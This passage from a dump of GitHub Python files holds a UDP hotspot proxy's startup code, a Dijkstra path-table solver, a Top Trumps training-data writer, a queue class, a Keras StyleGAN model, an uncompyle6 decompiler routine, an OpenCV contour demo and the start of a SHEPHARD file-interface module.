process title early\n setproctitle(__file__)\n\n # Change the current directory to the location of the application\n os.chdir(os.path.dirname(os.path.realpath(sys.argv[0])))\n\n # CLI argument parser - handles picking up the config file from the command line, and sending a \"help\" message\n parser = argparse.ArgumentParser()\n parser.add_argument('-c', '--config', action='store', dest='CONFIG_FILE', help='/full/path/to/config.file (usually proxy.cfg)')\n cli_args = parser.parse_args()\n\n\n # Ensure we have a path for the config file, if one wasn't specified, then use the execution directory\n if not cli_args.CONFIG_FILE:\n cli_args.CONFIG_FILE = os.path.dirname(os.path.abspath(__file__))+'/proxy.cfg'\n\n _config_file = cli_args.CONFIG_FILE\n\n config = configparser.ConfigParser()\n\n if not config.read(_config_file):\n print('Configuration file \\''+_config_file+'\\' is not a valid configuration file!')\n\n try:\n\n Master = config.get('PROXY','Master')\n ListenPort = config.getint('PROXY','ListenPort')\n ListenIP = config.get('PROXY','ListenIP')\n DestportStart = config.getint('PROXY','DestportStart')\n DestPortEnd = config.getint('PROXY','DestPortEnd')\n Timeout = config.getint('PROXY','Timeout')\n Stats = config.getboolean('PROXY','Stats')\n Debug = config.getboolean('PROXY','Debug')\n ClientInfo = config.getboolean('PROXY','ClientInfo')\n BlackList = json.loads(config.get('PROXY','BlackList'))\n IPBlackList = json.loads(config.get('PROXY','IPBlackList'))\n # Self Service\n use_selfservice = config.getboolean('SELF SERVICE', 'use_selfservice')\n db_server = config.get('SELF SERVICE', 'server')\n db_username = config.get('SELF SERVICE', 'username')\n db_password = config.get('SELF SERVICE', 'password')\n db_name = config.get('SELF SERVICE', 'db_name')\n db_port = config.getint('SELF SERVICE', 'port')\n\n except configparser.Error as err:\n print('Error processing configuration file -- {}'.format(err))\n\n print('Using default config')\n#*** CONFIG HERE ***\n\n Master = \"127.0.0.1\"\n ListenPort = 62031\n #'' = all IPv4, '::' = all IPv4 and IPv6 (Dual Stack)\n ListenIP = ''\n DestportStart = 54000\n DestPortEnd = 54200\n Timeout = 30\n Stats = False\n Debug = False\n ClientInfo = False\n BlackList = [1234567]\n #e.g. {10.0.0.1: 0, 10.0.0.2: 0}\n IPBlackList = {}\n\n # Self Service database configuration\n use_selfservice = True\n db_server = 'localhost'\n db_username = 'root'\n db_password = ''\n db_name = 'test'\n db_port = 3306\n\n#******************* \n \n CONNTRACK = {}\n PEERTRACK = {}\n \n # Set up the signal handler\n def sig_handler(_signal, _frame):\n print('(GLOBAL) SHUTDOWN: PROXY IS TERMINATING WITH SIGNAL {}'.format(str(_signal)))\n reactor.stop()\n\n # Set signal handers so that we can gracefully exit if need be\n for sig in [signal.SIGINT, signal.SIGTERM]:\n signal.signal(sig, sig_handler)\n \n #readState()\n \n #If IPv6 is enabled by enivornment variable...\n if ListenIP == '' and 'FDPROXY_IPV6' in os.environ and bool(os.environ['FDPROXY_IPV6']):\n ListenIP = '::'\n \n #Override static config from Environment\n if 'FDPROXY_STATS' in os.environ:\n Stats = bool(os.environ['FDPROXY_STATS'])\n #if 'FDPROXY_DEBUG' in os.environ:\n # Debug = bool(os.environ['FDPROXY_DEBUG'])\n if 'FDPROXY_CLIENTINFO' in os.environ:\n ClientInfo = bool(os.environ['FDPROXY_CLIENTINFO'])\n if 'FDPROXY_LISTENPORT' in os.environ:\n ListenPort = os.environ['FDPROXY_LISTENPORT']\n\n for port in range(DestportStart,DestPortEnd+1,1):\n CONNTRACK[port] = False\n\n #If we are listening IPv6 and Master is an IPv4 IPv4Address\n #IPv6ify the address.\n if ListenIP == '::' and IsIPv4Address(Master):\n Master = '::ffff:' + Master\n\n if use_selfservice:\n # Create an instance of db_proxy and them pass it to the proxy\n db_proxy = ProxyDB(db_server, db_username, db_password, db_name, db_port)\n db_proxy.test_db(reactor)\n else:\n db_proxy = None\n\n srv_proxy = Proxy(Master, ListenPort, CONNTRACK, PEERTRACK, BlackList, IPBlackList, Timeout,\n Debug, ClientInfo, DestportStart, DestPortEnd, db_proxy, use_selfservice)\n\n reactor.listenUDP(ListenPort, srv_proxy, interface=ListenIP)\n\n def loopingErrHandle(failure):\n print('(GLOBAL) STOPPING REACTOR TO AVOID MEMORY LEAK: Unhandled error innowtimed loop.\\n {}'.format(failure))\n reactor.stop()\n\n if use_selfservice:\n # Options loop\n opts_loop = task.LoopingCall(srv_proxy.send_opts)\n opts_loop.start(10).addErrback(loopingErrHandle)\n\n # Clean table every hour\n cl_tbl = task.LoopingCall(db_proxy.clean_tbl)\n cl_tbl.start(3600).addErrback(loopingErrHandle)\n\n # Update last seen loop\n ls_loop = task.LoopingCall(srv_proxy.lst_seen)\n ls_loop.start(120).addErrback(loopingErrHandle)\n\n def stats():\n count = 0\n nowtime = time()\n for port in CONNTRACK:\n if CONNTRACK[port]:\n count = count+1\n\n totalPorts = DestPortEnd - DestportStart\n freePorts = totalPorts - count\n\n print(\"{} ports out of {} in use ({} free)\".format(count,totalPorts,freePorts))\n\n def blackListTrimmer():\n _timenow = time()\n _dellist = []\n for entry in IPBlackList:\n deletetime = IPBlackList[entry]\n if deletetime and deletetime < _timenow:\n _dellist.append(entry)\n\n for delete in _dellist:\n IPBlackList.pop(delete)\n if ClientInfo:\n print('Remove dynamic blacklist entry for {}').format(delete)\n\n\n if Stats == True:\n stats_task = task.LoopingCall(stats)\n statsa = stats_task.start(30)\n statsa.addErrback(loopingErrHandle)\n\n blacklist_task = task.LoopingCall(blackListTrimmer)\n blacklista = blacklist_task.start(15)\n blacklista.addErrback(loopingErrHandle)\n\n reactor.run()\n","repo_name":"ShaYmez/RYSEN-SP-SELFCARE","sub_path":"hotspot_proxy_v2.py","file_name":"hotspot_proxy_v2.py","file_ext":"py","file_size_in_byte":17047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42209549462","text":"def find_least_node(costs, checked):\n least_cost = float(\"inf\")\n least_node = None\n\n for node in costs.keys():\n cost = costs[node]\n if not checked[node] and cost < least_cost:\n least_cost = cost\n least_node = node\n\n return least_node\n\ndef find_dijkstra_first_node(graph, start, end):\n checked = [False] * (len(graph))\n parents = {}\n costs = {}\n\n checked[start] = True\n parents[start] = None\n costs[start] = 0\n for node in graph[start].keys():\n parents[node] = start\n costs[node] = graph[start][node]\n\n neighbors = graph[start]\n current = find_least_node(costs, checked)\n while current is not None:\n neighbors.pop(current)\n checked[current] = True\n\n # 이웃 정점 가격 갱신\n neighbors.update(graph[current])\n print(neighbors)\n for neighbor in neighbors.keys():\n if neighbor not in costs.keys():\n costs[neighbor] = float(\"inf\")\n new_cost = costs[current] + neighbors[neighbor]\n\n if new_cost < costs[neighbor]:\n costs[neighbor] = new_cost\n parents[neighbor] = current\n\n current = find_least_node(costs, checked)\n\n # 첫번째 정점 찾기\n node = parents[end]\n while parents[node] != start:\n node = parents[node]\n return node\n\n\nn, m = map(int, input().split(\" \"))\ngraph = {}\n\n# 그래프 그려놓기\nfor i in range(n):\n graph[i] = {}\nfor _ in range(m):\n a, b, weight = map(int, input().split(\" \"))\n graph[a-1][b-1] = weight\n\n# 경로표 그리기\npath_table = [[-1] * n for _ in range(n)]\nfor a in range(n):\n for b in range(n):\n # node a -> b 까지 가는 최단경로 찾기\n if a == b:\n path_table[a][b] = \"-\"\n continue\n\n first_node = find_dijkstra_first_node(graph, a, b)\n path_table[a][b] = first_node\n\n","repo_name":"ssoso27/Smoothie2","sub_path":"pythAlgo/baekjoon/delivery.py","file_name":"delivery.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26846983605","text":"from os.path import exists, isfile\nfrom glob import glob\n\nimport re\n\nimport fileutils\nimport decks\n\n\n\nBOTNAME_PATTERN = re.compile(\"^[A-Za-z0-9]{1,32}$\")\n\n\n\ndef isValidName (botname):\n global BOTNAME_PATTERN\n return BOTNAME_PATTERN.match(botname) is not None\n\n\ndef getFileName (botname, deckname):\n return \"./data/training/\" + botname + \"-\" + deckname + \".csv\"\n\n\ndef countBotTraining (botname):\n filenamepattern = \"./data/training/\" + botname + \"-*.csv\"\n\n training = {}\n\n trainingfiles = glob(filenamepattern)\n for trainingfile in trainingfiles:\n\n deckname = trainingfile[len(\"./data/training/\" + botname + \"-\"):-(len(\".csv\"))]\n\n traininglines = fileutils.line_count(trainingfile)\n if traininglines > 1:\n training[deckname] = int((traininglines - 1) / 2)\n else:\n training[deckname] = 0\n\n return training\n\n\ndef appendToTrainingData (botname, deckname, newtraining):\n deck = decks.get(deckname)\n rules = deck[\"rules\"]\n\n trainingfilepath = getFileName(botname, deckname)\n\n if isfile(trainingfilepath) == False:\n header = \"\"\n for attribute in rules.keys():\n header += \"\\\"\" + attribute + \"\\\",\"\n header += \"choice,outcome\"\n\n with open(trainingfilepath, \"a\") as trainingfile:\n trainingfile.write(header + \"\\n\")\n\n\n trainingline = \"\"\n\n for newtrainingdata in newtraining:\n for attribute in rules.keys():\n if attribute in newtrainingdata[\"card\"]:\n trainingline += str(newtrainingdata[\"card\"][attribute])\n else:\n trainingline += \"0\"\n trainingline += \",\"\n\n trainingline += str(rules.keys().index(newtrainingdata[\"choice\"]))\n trainingline += \",\"\n\n trainingline += str(newtrainingdata[\"outcome\"])\n trainingline += \"\\n\"\n\n with open(trainingfilepath, \"a\") as trainingfile:\n trainingfile.write(trainingline)\n\n\n","repo_name":"ibmresearchuk/toptrumps","sub_path":"bots.py","file_name":"bots.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"23525578736","text":"\nclass dqueue:\n def __init__(self):\n self.data=[]\n def len(self):\n return len(self.data)\n def isempty(self):\n return len(self.data)== 0\n def insertion(self,e):\n self.data.append(e)\n def dqueue(self):\n if self.isempty():\n return ('queue is empty')\n else:\n return self.data.pop(0)\n\nq=dqueue()\nq.insertion(3)\nq.insertion(4)\nq.insertion(5)\nprint('queue',q.data)\n\nprint(q.dqueue())\n\nprint('queue',q.data)\nprint(q.dqueue())\nprint(q.dqueue())\nq.insertion(1)\nprint('queue',q.data)\nprint(q.dqueue())","repo_name":"manikshahkataria/codes","sub_path":"queue_dynamic.py","file_name":"queue_dynamic.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"40999536447","text":"import numpy as np\nimport tensorflow as tf\nfrom keras.layers import Activation, AveragePooling2D, Flatten, Input, LeakyReLU, UpSampling2D\nfrom keras.models import Model\n\nimport clayers as custom_layers\nfrom config import *\n\n\n# stylegan model\n# used model in paper with less layers of FC and 1 color channel\n# z -> w -> A -> (const, A, B) -> AdaIn -> conv 3x3 -> (A, B) AdaIn -> ...\n# https://arxiv.org/abs/1812.04948\nclass StyleGAN(Model):\n\n def __init__(self):\n super(StyleGAN, self).__init__()\n self.DEPTH = int(np.log2(TRES) - np.log2(SRES)) # training depth\n self.current_depth = 0 # current training depth\n self.FC = custom_layers.fc(self.DEPTH) # FC net\n self.G = self.init_G() # generator\n self.D = self.init_D() # discriminator\n \n def compile(self, d_optimizer, g_optimizer):\n super(StyleGAN, self).compile()\n self.d_optimizer = d_optimizer\n self.g_optimizer = g_optimizer\n \n def init_D(self):\n image = Input(shape=(SRES, SRES, CHANNELS))\n x = custom_layers.EqualConv(image, out_filters=FILTERS[0], kernel=(1, 1))\n x = LeakyReLU(0.2)(x)\n x = custom_layers.MinibatchStd()(x)\n x = custom_layers.EqualConv(x, out_filters=FILTERS[0])\n x = LeakyReLU(0.2)(x)\n x = custom_layers.EqualConv(x, out_filters=FILTERS[0], kernel=(4, 4), strides=(4, 4))\n x = LeakyReLU(0.2)(x)\n x = Flatten()(x)\n x = custom_layers.EqualDense(x, out_filters=CHANNELS)\n return Model(image, x)\n\n # grow discriminator\n def grow_D(self):\n input_shape = list(self.D.input.shape)\n \n # w*2, h*2, c \n input_shape = (input_shape[1]*2, input_shape[2]*2, input_shape[3])\n image = Input(shape=input_shape)\n image = tf.cast(image, tf.float32)\n\n # downsample\n x1 = AveragePooling2D()(image)\n for i in [1, 2, 3, 4]:\n x1 = self.D.layers[i](x1)\n\n f = FILTERS[self.current_depth]\n \n x2 = custom_layers.EqualConv(image, out_filters=f, kernel=(1, 1))\n x2 = LeakyReLU(0.2)(x2)\n x2 = custom_layers.EqualConv(x2, out_filters=f)\n x2 = LeakyReLU(0.2)(x2)\n x2 = custom_layers.EqualConv(x2, out_filters=FILTERS[self.current_depth-1])\n x2 = LeakyReLU(0.2)(x2)\n x2 = AveragePooling2D()(x2)\n x = custom_layers.WeightedSum()([x1, x2])\n\n for i in range(5, len(self.D.layers)):\n x2 = self.D.layers[i](x2)\n self.D_ST = Model(image, x2)\n\n for i in range(5, len(self.D.layers)):\n x = self.D.layers[i](x)\n self.D = Model(image, x)\n\n def init_G(self):\n # initialize generator\n # base block: 3 inputs, constant, w, noise(B)\n \n r = SRES\n f = FILTERS[0]\n \n const = Input(shape=(r, r, f), name='Constant')\n w = Input(shape=(LDIM), name='w(0)')\n B = Input(shape=(r, r, 1), name='B(0)')\n x = const\n \n x = custom_layers.AddNoise()([x, B])\n x = LeakyReLU(0.2)(x)\n x = custom_layers.AdaIN()([x, w])\n x = custom_layers.EqualConv(x, out_filters=f)\n x = LeakyReLU(0.2)(x)\n \n x = custom_layers.AddNoise()([x, B])\n x = LeakyReLU(0.2)(x)\n x = custom_layers.AdaIN()([x, w])\n x = custom_layers.EqualConv(x, out_filters=CHANNELS, kernel=(1, 1), gain=1.)\n x = Activation('tanh', name='tanh_0')(x)\n \n return Model([const, w, B], x)\n\n # grow generator (fade in)\n def grow_G(self):\n d = self.current_depth\n f = FILTERS[d]\n res = SRES*(2**d) \n \n # extract, expand end of torgb\n end = self.G.layers[-5].output\n end = UpSampling2D((2, 2))(end)\n\n # branch\n x1 = end\n for i in [-4, -3, -2, -1]:\n x1 = self.G.layers[i](x1)\n\n # branch\n w = Input(shape=(LDIM), name=f'w({d})')\n B = Input(shape=(res, res, 1), name=f'B({d})')\n \n x2 = custom_layers.EqualConv(end, out_filters=f)\n x2 = LeakyReLU(0.2)(x2)\n x2 = custom_layers.AddNoise()([x2, B])\n x2 = LeakyReLU(0.2)(x2)\n x2 = custom_layers.AdaIN()([x2, w])\n \n x2 = custom_layers.EqualConv(x2, out_filters=f)\n x2 = LeakyReLU(0.2)(x2)\n x2 = custom_layers.AddNoise()([x2, B])\n x2 = LeakyReLU(0.2)(x2)\n x2 = custom_layers.AdaIN()([x2, w])\n \n # to rgb\n x2 = custom_layers.EqualConv(x2, out_filters=CHANNELS, kernel=(1, 1), gain=1.)\n x2 = Activation('tanh', name=f'tanh_{d}')(x2)\n\n # stabilize\n self.G_ST = Model(self.G.input+[w,B], x2)\n \n # fade in\n self.G = Model(self.G.input+[w,B], custom_layers.WeightedSum()([x1, x2]))\n\n # gradient constraint, to enforece unit norm gradient.\n # E[(grad(f(x))-1)^2]\n def gradient_penalty(self, batch_size, real_images, fake_images):\n # interpolated image\n w = tf.random.uniform(shape=[batch_size, 1, 1, 1], minval=0., maxval=1.)\n interpolated = (1 - w) * real_images + w * fake_images\n\n with tf.GradientTape() as tape:\n tape.watch(interpolated)\n pred = self.D(interpolated, training=True)\n\n # gradient w.r.t to interpolated image\n grads = tape.gradient(pred, [interpolated])[0]\n # norm of the gradient\n norm = tf.sqrt(tf.reduce_sum(tf.square(grads), axis=[1, 2, 3]))\n gp = tf.reduce_mean((norm - 1.0) ** 2)\n \n return gp\n \n def grow(self):\n self.current_depth += 1\n self.grow_G()\n self.grow_D()\n\n def stabilize(self):\n self.G = self.G_ST\n self.D = self.D_ST\n\n # customized train step\n def train_step(self, data):\n real_images = data[0]\n batch_size = tf.shape(real_images)[0]\n const = tf.ones([batch_size, SRES, SRES, FILTERS[0]])\n \n # train discriminator\n with tf.GradientTape() as tape:\n \n # build input for G: [const, w, B, w, B, w, B, ...]\n z = tf.random.normal(shape=(batch_size, LDIM))\n ws = self.FC(z)\n inputs = [const]\n for i in range(self.current_depth+1):\n w = ws[:, i]\n B = tf.random.normal((batch_size, SRES*(2**i), SRES*(2**i), 1))\n inputs += [w, B]\n \n # generate fake images\n fake_images = self.G(inputs, training=True)\n fake_pred = self.D(fake_images, training=True)\n real_pred = self.D(real_images, training=True)\n # wasserstein\n d_loss = tf.reduce_mean(fake_pred) - tf.reduce_mean(real_pred)\n\n # gradient penalty, lambda 10\n penulty = 10 * self.gradient_penalty(batch_size, real_images, fake_images)\n \n # drift for regularization, drift weight 0.001\n drift = .001 * tf.reduce_mean(tf.square(real_pred))\n \n # discriminator loss = original discriminator loss + penulty + drift\n # lambda=10, drift weight = 0.001\n d_loss = d_loss + penulty + drift\n\n d_grad = tape.gradient(d_loss, self.D.trainable_weights)\n self.d_optimizer.apply_gradients(zip(d_grad, self.D.trainable_weights))\n\n # train generator\n with tf.GradientTape() as tape:\n z = tf.random.normal(shape=(batch_size, LDIM))\n ws = self.FC(z)\n inputs = [const]\n for i in range(self.current_depth+1):\n w = ws[:,i]\n B = tf.random.normal((batch_size, SRES*(2**i), SRES*(2**i), 1))\n inputs += [w, B]\n \n fake_images = self.G(inputs, training=True)\n fake_pred = self.D(fake_images, training=True)\n \n # wasserstein\n g_loss = -tf.reduce_mean(fake_pred)\n \n # grad w.r.t fc layers and generator\n trainable_weights = self.FC.trainable_weights + self.G.trainable_weights\n g_grad = tape.gradient(g_loss, trainable_weights)\n self.g_optimizer.apply_gradients(zip(g_grad, trainable_weights))\n \n return {'d_loss': d_loss, 'g_loss': g_loss}\n","repo_name":"KaiatUQ/StyleGAN","sub_path":"modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":8283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11114448666","text":"from xdis import (\n iscode,\n code_has_star_arg,\n code_has_star_star_arg,\n CO_GENERATOR,\n CO_ASYNC_GENERATOR,\n)\nfrom uncompyle6.scanner import Code\nfrom uncompyle6.semantics.parser_error import ParserError\nfrom uncompyle6.parser import ParserError as ParserError2\nfrom uncompyle6.semantics.helper import (\n find_all_globals,\n find_globals_and_nonlocals,\n find_none,\n)\n\nfrom uncompyle6.show import maybe_show_tree_param_default\n\n\ndef make_function36(self, node, is_lambda, nested=1, code_node=None):\n \"\"\"Dump function definition, doc string, and function body in\n Python version 3.6 and above.\n \"\"\"\n\n # MAKE_CLOSURE adds a closure slot\n\n # In Python 3.6 and above stack change again. I understand\n # 3.7 changes some of those changes, although I don't\n # see it in this code yet. Yes, it is hard to follow,\n # and I am sure I haven't been able to keep up.\n\n # Thank you, Python.\n\n def build_param(ast, name, default, annotation=None):\n \"\"\"build parameters:\n - handle defaults\n - handle format tuple parameters\n \"\"\"\n value = default\n maybe_show_tree_param_default(self.showast, name, value)\n if annotation:\n result = \"%s: %s=%s\" % (name, annotation, value)\n else:\n result = \"%s=%s\" % (name, value)\n\n # The below can probably be removed. This is probably\n # a holdover from days when LOAD_CONST erroneously\n # didn't handle LOAD_CONST None properly\n if result[-2:] == \"= \": # default was 'LOAD_CONST None'\n result += \"None\"\n\n return result\n\n # MAKE_FUNCTION_... or MAKE_CLOSURE_...\n assert node[-1].kind.startswith(\"MAKE_\")\n\n # Python 3.3+ adds a qualified name at TOS (-1)\n # moving down the LOAD_LAMBDA instruction\n lambda_index = -3\n\n args_node = node[-1]\n\n annotate_dict = {}\n\n # Get a list of tree nodes that constitute the values for the \"default\n # parameters\"; these are default values that appear before any *, and are\n # not to be confused with keyword parameters which may appear after *.\n args_attr = args_node.attr\n\n if len(args_attr) == 3:\n _, kw_args, annotate_argc = args_attr\n else:\n _, kw_args, annotate_argc, closure = args_attr\n\n if node[-2] != \"docstring\":\n i = -4\n else:\n i = -5\n\n if annotate_argc:\n # Turn into subroutine and DRY with other use\n annotate_node = node[i]\n if annotate_node == \"expr\":\n annotate_node = annotate_node[0]\n annotate_name_node = annotate_node[-1]\n if annotate_node == \"dict\" and annotate_name_node.kind.startswith(\n \"BUILD_CONST_KEY_MAP\"\n ):\n types = [self.traverse(n, indent=\"\") for n in annotate_node[:-2]]\n names = annotate_node[-2].attr\n length = len(types)\n assert length == len(names)\n for i in range(length):\n annotate_dict[names[i]] = types[i]\n pass\n pass\n i -= 1\n\n if closure:\n # FIXME: fill in\n # annotate = node[i]\n i -= 1\n\n defparams = []\n # FIXME: DRY with code below\n default, kw_args, annotate_argc = args_node.attr[0:3]\n if default:\n expr_node = node[0]\n if node[0] == \"pos_arg\":\n expr_node = expr_node[0]\n assert expr_node == \"expr\", \"expecting mkfunc default node to be an expr\"\n if expr_node[0] == \"LOAD_CONST\" and isinstance(expr_node[0].attr, tuple):\n defparams = [repr(a) for a in expr_node[0].attr]\n elif expr_node[0] in frozenset((\"list\", \"tuple\", \"dict\", \"set\")):\n defparams = [self.traverse(n, indent=\"\") for n in expr_node[0][:-1]]\n else:\n defparams = []\n pass\n\n if lambda_index and is_lambda and iscode(node[lambda_index].attr):\n assert node[lambda_index].kind == \"LOAD_LAMBDA\"\n code = node[lambda_index].attr\n else:\n code = code_node.attr\n\n assert iscode(code)\n debug_opts = self.debug_opts[\"asm\"] if self.debug_opts else None\n scanner_code = Code(code, self.scanner, self.currentclass, debug_opts)\n\n # add defaults values to parameter names\n argc = code.co_argcount\n kwonlyargcount = code.co_kwonlyargcount\n\n paramnames = list(scanner_code.co_varnames[:argc])\n kwargs = list(scanner_code.co_varnames[argc: argc + kwonlyargcount])\n\n paramnames.reverse()\n defparams.reverse()\n\n try:\n tree = self.build_ast(\n scanner_code._tokens,\n scanner_code._customize,\n scanner_code,\n is_lambda=is_lambda,\n noneInNames=(\"None\" in code.co_names),\n )\n except (ParserError, ParserError2) as p:\n self.write(str(p))\n if not self.tolerate_errors:\n self.ERROR = p\n return\n\n i = len(paramnames) - len(defparams)\n\n # build parameters\n params = []\n if defparams:\n for i, defparam in enumerate(defparams):\n params.append(\n build_param(\n tree, paramnames[i], defparam, annotate_dict.get(paramnames[i])\n )\n )\n\n for param in paramnames[i + 1:]:\n if param in annotate_dict:\n params.append(\"%s: %s\" % (param, annotate_dict[param]))\n else:\n params.append(param)\n else:\n for param in paramnames:\n if param in annotate_dict:\n params.append(\"%s: %s\" % (param, annotate_dict[param]))\n else:\n params.append(param)\n\n params.reverse() # back to correct order\n\n if code_has_star_arg(code):\n star_arg = code.co_varnames[argc + kwonlyargcount]\n if star_arg in annotate_dict:\n params.append(\"*%s: %s\" % (star_arg, annotate_dict[star_arg]))\n else:\n params.append(\"*%s\" % star_arg)\n\n argc += 1\n\n # dump parameter list (with default values)\n if is_lambda:\n self.write(\"lambda\")\n if len(params):\n self.write(\" \", \", \".join(params))\n elif kwonlyargcount > 0 and not (4 & code.co_flags):\n assert argc == 0\n self.write(\" \")\n\n # If the last statement is None (which is the\n # same thing as \"return None\" in a lambda) and the\n # next to last statement is a \"yield\". Then we want to\n # drop the (return) None since that was just put there\n # to have something to after the yield finishes.\n # FIXME: this is a bit hoaky and not general\n if (\n len(tree) > 1\n and self.traverse(tree[-1]) == \"None\"\n and self.traverse(tree[-2]).strip().startswith(\"yield\")\n ):\n del tree[-1]\n # Now pick out the expr part of the last statement\n tree_expr = tree[-1]\n while tree_expr.kind != \"expr\":\n tree_expr = tree_expr[0]\n tree[-1] = tree_expr\n pass\n else:\n self.write(\"(\", \", \".join(params))\n # self.println(indent, '#flags:\\t', int(code.co_flags))\n\n ends_in_comma = False\n if kwonlyargcount > 0:\n if not 4 & code.co_flags:\n if argc > 0:\n self.write(\", *, \")\n else:\n self.write(\"*, \")\n pass\n else:\n if argc > 0:\n self.write(\", \")\n\n # ann_dict = kw_dict = default_tup = None\n kw_dict = None\n\n fn_bits = node[-1].attr\n # Skip over:\n # MAKE_FUNCTION,\n # optional docstring\n # LOAD_CONST qualified name,\n # LOAD_CONST code object\n index = -5 if node[-2] == \"docstring\" else -4\n if fn_bits[-1]:\n index -= 1\n if fn_bits[-2]:\n # ann_dict = node[index]\n index -= 1\n if fn_bits[-3]:\n kw_dict = node[index]\n index -= 1\n if fn_bits[-4]:\n # default_tup = node[index]\n pass\n\n if kw_dict == \"expr\":\n kw_dict = kw_dict[0]\n\n kw_args = [None] * kwonlyargcount\n\n # FIXME: handle free_tup, ann_dict, and default_tup\n if kw_dict:\n assert kw_dict == \"dict\"\n const_list = kw_dict[0]\n if kw_dict[0] == \"const_list\":\n add_consts = const_list[1]\n assert add_consts == \"add_consts\"\n names = add_consts[-1].attr\n defaults = [v.pattr for v in add_consts[:-1]]\n else:\n defaults = [self.traverse(n, indent=\"\") for n in kw_dict[:-2]]\n names = eval(self.traverse(kw_dict[-2]))\n\n assert len(defaults) == len(names)\n # FIXME: possibly handle line breaks\n for i, n in enumerate(names):\n idx = kwargs.index(n)\n if annotate_dict and n in annotate_dict:\n t = \"%s: %s=%s\" % (n, annotate_dict[n], defaults[i])\n else:\n t = \"%s=%s\" % (n, defaults[i])\n kw_args[idx] = t\n pass\n pass\n # handle others\n other_kw = [c is None for c in kw_args]\n\n for i, flag in enumerate(other_kw):\n if flag:\n n = kwargs[i]\n if n in annotate_dict:\n kw_args[i] = \"%s: %s\" % (n, annotate_dict[n])\n else:\n kw_args[i] = \"%s\" % n\n\n self.write(\", \".join(kw_args))\n ends_in_comma = False\n pass\n else:\n if argc == 0:\n ends_in_comma = True\n\n if code_has_star_star_arg(code):\n if not ends_in_comma:\n self.write(\", \")\n star_star_arg = code.co_varnames[argc + kwonlyargcount]\n if annotate_dict and star_star_arg in annotate_dict:\n self.write(\"**%s: %s\" % (star_star_arg, annotate_dict[star_star_arg]))\n else:\n self.write(\"**%s\" % star_star_arg)\n\n if is_lambda:\n self.write(\": \")\n else:\n self.write(\")\")\n if annotate_dict and \"return\" in annotate_dict:\n self.write(\" -> %s\" % annotate_dict[\"return\"])\n self.println(\":\")\n\n if node[-2] == \"docstring\" and not is_lambda:\n # docstring exists, dump it\n self.println(self.traverse(node[-2]))\n\n assert tree in (\"stmts\", \"lambda_start\")\n\n all_globals = find_all_globals(tree, set())\n globals, nonlocals = find_globals_and_nonlocals(\n tree, set(), set(), code, self.version\n )\n\n for g in sorted((all_globals & self.mod_globs) | globals):\n self.println(self.indent, \"global \", g)\n\n for nl in sorted(nonlocals):\n self.println(self.indent, \"nonlocal \", nl)\n\n self.mod_globs -= all_globals\n has_none = \"None\" in code.co_names\n rn = has_none and not find_none(tree)\n self.gen_source(\n tree,\n code.co_name,\n scanner_code._customize,\n is_lambda=is_lambda,\n returnNone=rn,\n debug_opts=self.debug_opts,\n )\n\n # In obscure cases, a function may be a generator but the \"yield\"\n # was optimized away. Here, we need to put in unreachable code to\n # add in \"yield\" just so that the compiler will mark\n # the GENERATOR bit of the function. See for example\n # Python 3.x's test_connection.py and test_contexlib_async test programs.\n if not is_lambda and code.co_flags & (CO_GENERATOR | CO_ASYNC_GENERATOR):\n need_bogus_yield = True\n for token in scanner_code._tokens:\n if token == \"YIELD_VALUE\":\n need_bogus_yield = False\n break\n pass\n if need_bogus_yield:\n self.template_engine((\"%|if False:\\n%+%|yield None%-\",), node)\n\n scanner_code._tokens = None # save memory\n scanner_code._customize = None # save memory\n","repo_name":"rocky/python-uncompyle6","sub_path":"uncompyle6/semantics/make_function36.py","file_name":"make_function36.py","file_ext":"py","file_size_in_byte":11816,"program_lang":"python","lang":"en","doc_type":"code","stars":3383,"dataset":"github-code","pt":"37"} +{"seq_id":"647913709","text":"# 作者 ljc\nimport cv2\nimport numpy as np\n\n# 创建一个200x200大小的黑色空白图像\nimg = np.zeros((200, 200), dtype=np.uint8)\n#黑色图像中放置一个100x100的白色方块\nimg[50:150, 50:150] = 255\n\nret, thresh = cv2.threshold(img, 127, 255, 0)\n# 参数 1 输入图像 2层次类型 3 轮廓逼近方法\n# 函数特性:\n# 1.这个函数会修改输入图像,建议输入时使用原始图像拷贝 .copy\n# 2.由函数返回的层次树相当重要\n# (1)cv2.RETE_TREE 会得到图像中轮廓的整体层次结构,以此建立轮廓间的关系\n# (2)cv2.RETE_EXTERNAL 只得到最外面的轮廓,这可以消除其他轮廓中的轮廓\n# 返回值:修改后的图像,图像轮廓,图像的层次\nimage, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\ncolor = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)\n\nimg = cv2.drawContours(color, contours, -1, (0, 255, 0), 2)\ncv2.imshow('contours', color)\ncv2.waitKey()\ncv2.destroyAllWindows()\n","repo_name":"525642022/python_openCv","sub_path":"第三章/轮廓检测.py","file_name":"轮廓检测.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71061030773","text":"\"\"\"\nSHEPHARD: \nSequence-based Hierarchical and Extendable Platform for High-throughput Analysis of Region of Disorder\n\nAuthors: Garrett M. Ginell & Alex S. Holehouse\nContact: (alex.holehouse@wustl.edu, g.ginell@wustl.edu)\n\nHolehouse Lab - Washington University in St. Louis\n\"\"\"\n\nfrom . import interface_tools \nimport shephard.exceptions as shephard_exceptions\nfrom shephard.exceptions import InterfaceException, ProteinException, SiteException\n\nclass _SitesInterface:\n\n def __init__(self, filename, delimiter='\\t', skip_bad=True):\n \"\"\"\n Expect files of the following format:\n \n A SHEPHARD sites file is a tab (or other) delineated file where each \n line has the following convention::\n \n 1 2 3 4 5 [ 6 7 ... n ] \n Unique_ID position site_type symbol value [key_1:value_1 key_2:value_2 ... key_n:value_n ]\n \n Each line has six required values and then can have as many key:value pairs as may be\n desired.\n\n Note that the first four arguments are required, while all of the \n key:value pairs are 